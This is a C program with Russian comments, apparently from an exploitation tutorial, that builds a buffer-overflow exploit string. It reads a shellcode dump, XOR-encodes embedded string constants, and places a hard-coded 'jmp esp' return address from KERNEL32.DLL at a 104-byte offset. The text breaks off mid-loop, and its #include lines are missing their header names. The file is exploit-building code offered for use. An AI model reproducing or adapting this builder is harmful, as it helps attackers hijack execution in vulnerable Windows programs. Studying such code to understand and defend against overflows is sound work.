// // expl.c - программа получения полной строки эксплоита // при запуске необходимо два параметра: // название файла-дампа исполнительного кода эксплоита, // название выходного файла, куда будет помещена строка эксплоита // // Пример: // // expl explcode.dmp exploit // // #include #include #define buf_len 1000 // // Настраиваемые параметры, которые зависят от уязвимой программы, // для которой генерируется эксплоит и ее окружения. // // #define offset 104 // смещение от начала буфера до пересечения с // адресов возврата // адрес инструкции jmp esp // в нашем случае, зависит от версии KERNEL32.DLL unsigned char run_at[] = {0xe5, 0x27, 0xf3, 0x77}; unsigned char xor(unsigned char c1,unsigned char c2); int main (int argc, char *argv[]) { unsigned char buf[buf_len]; // буфер для строки эксплоита FILE *inFile, *outFile; int cur, len; // открываем все файлы inFile = fopen(argv[1], "r"); if(inFile == NULL) { printf("Asm file open failed\n"); return 1; } outFile = fopen(argv[2], "w"); if(outFile == NULL) { printf("New asm file open failed\n"); return 1; } cur = 0; // считываем содержимое дампа исполнительного кода эксплоита while (!feof(inFile)) buf[cur++] = fgetc(inFile); // выполняем кодирование строковых констант // начало строковых констант - 4 байта 0xFF len = cur-1; // поиск 0xFFFFFFFF for (cur=0;cur